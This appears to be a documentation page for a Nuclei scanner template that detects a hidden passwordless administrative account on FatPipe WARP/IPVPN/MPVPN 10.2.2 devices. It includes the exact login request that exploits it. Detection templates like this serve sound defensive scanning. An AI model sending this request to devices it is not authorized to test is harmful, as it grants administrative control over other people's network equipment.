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FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Authorization Bypass

ID: fatpipe-backdoor

Severity: high

Author: gy741

Tags: fatpipe,default-login,backdoor,auth-bypass

Description

Section titled “Description”

FatPipe WARP/IPVPN/MPVPN 10.2.2 contains an authorization bypass vulnerability via hidden administrative account cmuse, which has no password, has write access permissions to the device, and is not visible in Users menu list. An attacker can gain access by bypassing proper authorization, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: fatpipe-backdoor


info:
  name: FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Authorization Bypass
  author: gy741
  severity: high
  description: FatPipe WARP/IPVPN/MPVPN 10.2.2 contains an authorization bypass vulnerability via hidden administrative account cmuse, which has no password, has write access permissions to the device, and is not visible in Users menu list. An attacker can gain access by bypassing proper authorization, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5684.php
    - https://www.fatpipeinc.com/support/advisories.php
  metadata:
    max-request: 1
  tags: fatpipe,default-login,backdoor,auth-bypass


http:
  - raw:
      - |
        POST /fpui/loginServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        loginParams=%7B%22username%22%3A%22cmuser%22%2C%22password%22%3A%22%22%2C%22authType%22%3A0%7D


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200


      - type: word
        words:
          - "application/json"
        part: header


      - type: word
        words:
          - '"loginRes":"success"'
          - '"activeUserName":"cmuser"'
        condition: and
# digest: 490a00463044022054f4c94d4ce163d81c8c6b2400dfea0e4dbe372b2822da822fd42f589e1236f402206fc18028a2fed0323e77f8405da28261fd5a24f2e69c673a5b085c8d7adfa217:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/backdoor/fatpipe-backdoor.yaml"

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